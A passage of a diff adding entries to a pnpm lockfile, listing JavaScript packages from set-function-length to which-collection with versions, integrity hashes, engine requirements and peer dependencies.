sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==} + + set-function-length@1.2.2: + resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==} + engines: {node: '>= 0.4'} + + set-function-name@2.0.2: + resolution: {integrity: sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==} + engines: {node: '>= 0.4'} + + set-proto@1.0.0: + resolution: {integrity: sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==} + engines: {node: '>= 0.4'} + + setprototypeof@1.2.0: + resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==} + + shebang-command@2.0.0: + resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} + engines: {node: '>=8'} + + shebang-regex@3.0.0: + resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} + engines: {node: '>=8'} + + side-channel-list@1.0.0: + resolution: {integrity: sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==} + engines: {node: '>= 0.4'} + + side-channel-map@1.0.1: + resolution: {integrity: sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==} + engines: {node: '>= 0.4'} + + side-channel-weakmap@1.0.2: + resolution: {integrity: sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==} + engines: {node: '>= 0.4'} + + side-channel@1.1.0: + resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==} + engines: {node: '>= 0.4'} + + signal-exit@3.0.7: + resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} + + signal-exit@4.1.0: + resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==} + engines: {node: '>=14'} + + slash@3.0.0: + resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==} + engines: {node: '>=8'} + + source-map-js@1.2.1: + resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} + engines: {node: '>=0.10.0'} + + source-map-support@0.5.21: + resolution: {integrity: sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==} + + source-map@0.6.1: + resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==} + engines: {node: '>=0.10.0'} + + source-map@0.7.6: + resolution: {integrity: sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ==} + engines: {node: '>= 12'} + + space-separated-tokens@2.0.2: + resolution: {integrity: sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==} + + spdx-correct@3.2.0: + resolution: {integrity: sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==} + + spdx-exceptions@2.5.0: + resolution: {integrity: sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==} + + spdx-expression-parse@3.0.1: + resolution: {integrity: sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==} + + spdx-license-ids@3.0.23: + resolution: {integrity: sha512-CWLcCCH7VLu13TgOH+r8p1O/Znwhqv/dbb6lqWy67G+pT1kHmeD/+V36AVb/vq8QMIQwVShJ6Ssl5FPh0fuSdw==} + + ssri@10.0.6: + resolution: {integrity: sha512-MGrFH9Z4NP9Iyhqn16sDtBpRRNJ0Y2hNa6D65h736fVSaPCHr4DM4sWUNvVaSuC+0OBGhwsrydQwmgfg5LncqQ==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + stable@0.1.8: + resolution: {integrity: sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==} + deprecated: 'Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility' + + state-local@1.0.7: + resolution: {integrity: sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==} + + statuses@2.0.2: + resolution: {integrity: sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==} + engines: {node: '>= 0.8'} + + stop-iteration-iterator@1.1.0: + resolution: {integrity: sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==} + engines: {node: '>= 0.4'} + + stream-shift@1.0.3: + resolution: {integrity: sha512-76ORR0DO1o1hlKwTbi/DM3EXWGf3ZJYO8cXX5RJwnul2DEg2oyoZyjLNoQM8WsvZiFKCRfC1O0J7iCvie3RZmQ==} + + stream-slice@0.1.2: + resolution: {integrity: sha512-QzQxpoacatkreL6jsxnVb7X5R/pGw9OUv2qWTYWnmLpg4NdN31snPy/f3TdQE1ZUXaThRvj1Zw4/OGg0ZkaLMA==} + + string-hash@1.1.3: + resolution: {integrity: sha512-kJUvRUFK49aub+a7T1nNE66EJbZBMnBgoC1UbCZ5n6bsZKBRga4KgBRTMn/pFkeCZSYtNeSyMxPDM0AXWELk2A==} + + string-width@4.2.3: + resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} + engines: {node: '>=8'} + + string-width@5.1.2: + resolution: {integrity: sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==} + engines: {node: '>=12'} + + string.prototype.matchall@4.0.12: + resolution: {integrity: sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==} + engines: {node: '>= 0.4'} + + string.prototype.repeat@1.0.0: + resolution: {integrity: sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==} + + string.prototype.trim@1.2.10: + resolution: {integrity: sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==} + engines: {node: '>= 0.4'} + + string.prototype.trimend@1.0.9: + resolution: {integrity: sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==} + engines: {node: '>= 0.4'} + + string.prototype.trimstart@1.0.8: + resolution: {integrity: sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==} + engines: {node: '>= 0.4'} + + string_decoder@1.1.1: + resolution: {integrity: sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==} + + string_decoder@1.3.0: + resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==} + + stringify-entities@4.0.4: + resolution: {integrity: sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==} + + strip-ansi@6.0.1: + resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} + engines: {node: '>=8'} + + strip-ansi@7.2.0: + resolution: {integrity: sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==} + engines: {node: '>=12'} + + strip-bom@3.0.0: + resolution: {integrity: sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==} + engines: {node: '>=4'} + + strip-final-newline@2.0.0: + resolution: {integrity: sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==} + engines: {node: '>=6'} + + strip-json-comments@3.1.1: + resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==} + engines: {node: '>=8'} + + style-inject@0.3.0: + resolution: {integrity: sha512-IezA2qp+vcdlhJaVm5SOdPPTUu0FCEqfNSli2vRuSIBbu5Nq5UvygTk/VzeCqfLz2Atj3dVII5QBKGZRZ0edzw==} + + style-to-object@0.4.4: + resolution: {integrity: sha512-HYNoHZa2GorYNyqiCaBgsxvcJIn7OHq6inEga+E6Ke3m5JkoqpQbnFssk4jwe+K7AhGa2fcha4wSOf1Kn01dMg==} + + stylehacks@5.1.1: + resolution: {integrity: sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + supports-color@7.2.0: + resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} + engines: {node: '>=8'} + + supports-preserve-symlinks-flag@1.0.0: + resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} + engines: {node: '>= 0.4'} + + svgo@2.8.0: + resolution: {integrity: sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==} + engines: {node: '>=10.13.0'} + hasBin: true + + tailwind-merge@3.5.0: + resolution: {integrity: sha512-I8K9wewnVDkL1NTGoqWmVEIlUcB9gFriAEkXkfCjX5ib8ezGxtR3xD7iZIxrfArjEsH7F1CHD4RFUtxefdqV/A==} + + tailwindcss-animate@1.0.7: + resolution: {integrity: sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA==} + peerDependencies: + tailwindcss: '>=3.0.0 || insiders' + + tailwindcss@4.2.2: + resolution: {integrity: sha512-KWBIxs1Xb6NoLdMVqhbhgwZf2PGBpPEiwOqgI4pFIYbNTfBXiKYyWoTsXgBQ9WFg/OlhnvHaY+AEpW7wSmFo2Q==} + + tapable@2.3.2: + resolution: {integrity: sha512-1MOpMXuhGzGL5TTCZFItxCc0AARf1EZFQkGqMm7ERKj8+Hgr5oLvJOVFcC+lRmR8hCe2S3jC4T5D7Vg/d7/fhA==} + engines: {node: '>=6'} + + tar-fs@2.1.4: + resolution: {integrity: sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==} + + tar-stream@2.2.0: + resolution: {integrity: sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==} + engines: {node: '>=6'} + + tar@6.2.1: + resolution: {integrity: sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==} + engines: {node: '>=10'} + deprecated: Old versions of tar are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me + + text-table@0.2.0: + resolution: {integrity: sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==} + + through2@2.0.5: + resolution: {integrity: sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==} + + to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} + + toidentifier@1.0.1: + resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==} + engines: {node: '>=0.6'} + + toml@3.0.0: + resolution: {integrity: sha512-y/mWCZinnvxjTKYhJ+pYxwD0mRLVvOtdS2Awbgxln6iEnt4rk0yBxeSBHkGJcPucRiG0e55mwWp+g/05rsrd6w==} + + trim-lines@3.0.1: + resolution: {integrity: sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==} + + trough@2.2.0: + resolution: {integrity: sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==} + + ts-api-utils@1.4.3: + resolution: {integrity: sha512-i3eMG77UTMD0hZhgRS562pv83RC6ukSAC2GMNWc+9dieh/+jDM5u5YG+NHX6VNDRHQcHwmsTHctP9LhbC3WxVw==} + engines: {node: '>=16'} + peerDependencies: + typescript: '>=4.2.0' + + tsconfig-paths@4.2.0: + resolution: {integrity: sha512-NoZ4roiN7LnbKn9QqE1amc9DJfzvZXxF4xDavcOWt1BPkdx+m+0gJuPM+S0vCe7zTJMYUP0R8pO2XMr+Y8oLIg==} + engines: {node: '>=6'} + + tslib@2.8.1: + resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==} + + turbo-stream@2.4.1: + resolution: {integrity: sha512-v8kOJXpG3WoTN/+at8vK7erSzo6nW6CIaeOvNOkHQVDajfz1ZVeSxCbc6tOH4hrGZW7VUCV0TOXd8CPzYnYkrw==} + + type-check@0.4.0: + resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} + engines: {node: '>= 0.8.0'} + + type-fest@0.20.2: + resolution: {integrity: sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==} + engines: {node: '>=10'} + + type-is@1.6.18: + resolution: {integrity: sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==} + engines: {node: '>= 0.6'} + + typed-array-buffer@1.0.3: + resolution: {integrity: sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==} + engines: {node: '>= 0.4'} + + typed-array-byte-length@1.0.3: + resolution: {integrity: sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==} + engines: {node: '>= 0.4'} + + typed-array-byte-offset@1.0.4: + resolution: {integrity: sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==} + engines: {node: '>= 0.4'} + + typed-array-length@1.0.7: + resolution: {integrity: sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==} + engines: {node: '>= 0.4'} + + typescript@5.9.3: + resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + engines: {node: '>=14.17'} + hasBin: true + + ufo@1.6.3: + resolution: {integrity: sha512-yDJTmhydvl5lJzBmy/hyOAA0d+aqCBuwl818haVdYCRrWV84o7YyeVm4QlVHStqNrrJSTb6jKuFAVqAFsr+K3Q==} + + unbox-primitive@1.1.0: + resolution: {integrity: sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==} + engines: {node: '>= 0.4'} + + undici-types@7.18.2: + resolution: {integrity: sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w==} + + undici@6.23.0: + resolution: {integrity: sha512-VfQPToRA5FZs/qJxLIinmU59u0r7LXqoJkCzinq3ckNJp3vKEh7jTWN589YQ5+aoAC/TGRLyJLCPKcLQbM8r9g==} + engines: {node: '>=18.17'} + + unified@10.1.2: + resolution: {integrity: sha512-pUSWAi/RAnVy1Pif2kAoeWNBa3JVrx0MId2LASj8G+7AiHWoKZNTomq6LG326T68U7/e263X6fTdcXIy7XnF7Q==} + + unique-filename@3.0.0: + resolution: {integrity: sha512-afXhuC55wkAmZ0P18QsVE6kp8JaxrEokN2HGIoIVv2ijHQd419H0+6EigAFcIzXeMIkcIkNBpB3L/DXB3cTS/g==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + unique-slug@4.0.0: + resolution: {integrity: sha512-WrcA6AyEfqDX5bWige/4NQfPZMtASNVxdmWR76WESYQVAACSgWcR6e9i0mofqqBxYFtL4oAxPIptY73/0YE1DQ==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + unist-util-generated@2.0.1: + resolution: {integrity: sha512-qF72kLmPxAw0oN2fwpWIqbXAVyEqUzDHMsbtPvOudIlUzXYFIeQIuxXQCRCFh22B7cixvU0MG7m3MW8FTq/S+A==} + + unist-util-is@5.2.1: + resolution: {integrity: sha512-u9njyyfEh43npf1M+yGKDGVPbY/JWEemg5nH05ncKPfi+kBbKBJoTdsogMu33uhytuLlv9y0O7GH7fEdwLdLQw==} + + unist-util-position-from-estree@1.1.2: + resolution: {integrity: sha512-poZa0eXpS+/XpoQwGwl79UUdea4ol2ZuCYguVaJS4qzIOMDzbqz8a3erUCOmubSZkaOuGamb3tX790iwOIROww==} + + unist-util-position@4.0.4: + resolution: {integrity: sha512-kUBE91efOWfIVBo8xzh/uZQ7p9ffYRtUbMRZBNFYwf0RK8koUMx6dGUfwylLOKmaT2cs4wSW96QoYUSXAyEtpg==} + + unist-util-remove-position@4.0.2: + resolution: {integrity: sha512-TkBb0HABNmxzAcfLf4qsIbFbaPDvMO6wa3b3j4VcEzFVaw1LBKwnW4/sRJ/atSLSzoIg41JWEdnE7N6DIhGDGQ==} + + unist-util-stringify-position@3.0.3: + resolution: {integrity: sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg==} + + unist-util-visit-parents@5.1.3: + resolution: {integrity: sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==} + + unist-util-visit@4.1.2: + resolution: {integrity: sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==} + + universalify@2.0.1: + resolution: {integrity: sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==} + engines: {node: '>= 10.0.0'} + + unpipe@1.0.0: + resolution: {integrity: sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==} + engines: {node: '>= 0.8'} + + update-browserslist-db@1.2.3: + resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} + hasBin: true + peerDependencies: + browserslist: '>= 4.21.0' + + uri-js@4.4.1: + resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} + + use-callback-ref@1.3.3: + resolution: {integrity: sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + use-sidecar@1.1.3: + resolution: {integrity: sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + util-deprecate@1.0.2: + resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} + + util@0.12.5: + resolution: {integrity: sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA==} + + utils-merge@1.0.1: + resolution: {integrity: sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==} + engines: {node: '>= 0.4.0'} + + uvu@0.5.6: + resolution: {integrity: sha512-+g8ENReyr8YsOc6fv/NVJs2vFdHBnBNdfE49rshrTzDWOlUx4Gq7KOS2GD8eqhy2j+Ejq29+SbKH8yjkAqXqoA==} + engines: {node: '>=8'} + hasBin: true + + valibot@1.2.0: + resolution: {integrity: sha512-mm1rxUsmOxzrwnX5arGS+U4T25RdvpPjPN4yR0u9pUBov9+zGVtO84tif1eY4r6zWxVxu3KzIyknJy3rxfRZZg==} + peerDependencies: + typescript: '>=5' + peerDependenciesMeta: + typescript: + optional: true + + validate-npm-package-license@3.0.4: + resolution: {integrity: sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==} + + validate-npm-package-name@5.0.1: + resolution: {integrity: sha512-OljLrQ9SQdOUqTaQxqL5dEfZWrXExyyWsozYlAWFawPVNuD83igl7uJD2RTkNMbniIYgt8l81eCJGIdQF7avLQ==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + vary@1.1.2: + resolution: {integrity: sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==} + engines: {node: '>= 0.8'} + + vfile-message@3.1.4: + resolution: {integrity: sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==} + + vfile@5.3.7: + resolution: {integrity: sha512-r7qlzkgErKjobAmyNIkkSpizsFPYiUPuJb5pNW1RB4JcYVZhs4lIbVqk8XPk033CV/1z8ss5pkax8SuhGpcG8g==} + + vite-node@1.6.1: + resolution: {integrity: sha512-YAXkfvGtuTzwWbDSACdJSg4A4DZiAqckWe90Zapc/sEX3XvHcw1NdurM/6od8J207tSDqNbSsgdCacBgvJKFuA==} + engines: {node: ^18.0.0 || >=20.0.0} + hasBin: true + + vite-node@3.2.4: + resolution: {integrity: sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg==} + engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} + hasBin: true + + vite@5.4.21: + resolution: {integrity: sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==} + engines: {node: ^18.0.0 || >=20.0.0} + hasBin: true + peerDependencies: + '@types/node': ^18.0.0 || >=20.0.0 + less: '*' + lightningcss: ^1.21.0 + sass: '*' + sass-embedded: '*' + stylus: '*' + sugarss: '*' + terser: ^5.4.0 + peerDependenciesMeta: + '@types/node': + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + sass-embedded: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + + wcwidth@1.0.1: + resolution: {integrity: sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==} + + web-encoding@1.1.5: + resolution: {integrity: sha512-HYLeVCdJ0+lBYV2FvNZmv3HJ2Nt0QYXqZojk3d9FJOLkwnuhzM9tmamh8d7HPM8QqjKH8DeHkFTx+CFlWpZZDA==} + + web-streams-polyfill@3.3.3: + resolution: {integrity: sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==} + engines: {node: '>= 8'} + + which-boxed-primitive@1.1.1: + resolution: {integrity: sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==} + engines: {node: '>= 0.4'} + + which-builtin-type@1.2.1: + resolution: {integrity: sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==} + engines: {node: '>= 0.4'} + + which-collection@1.0.2: + resolution: 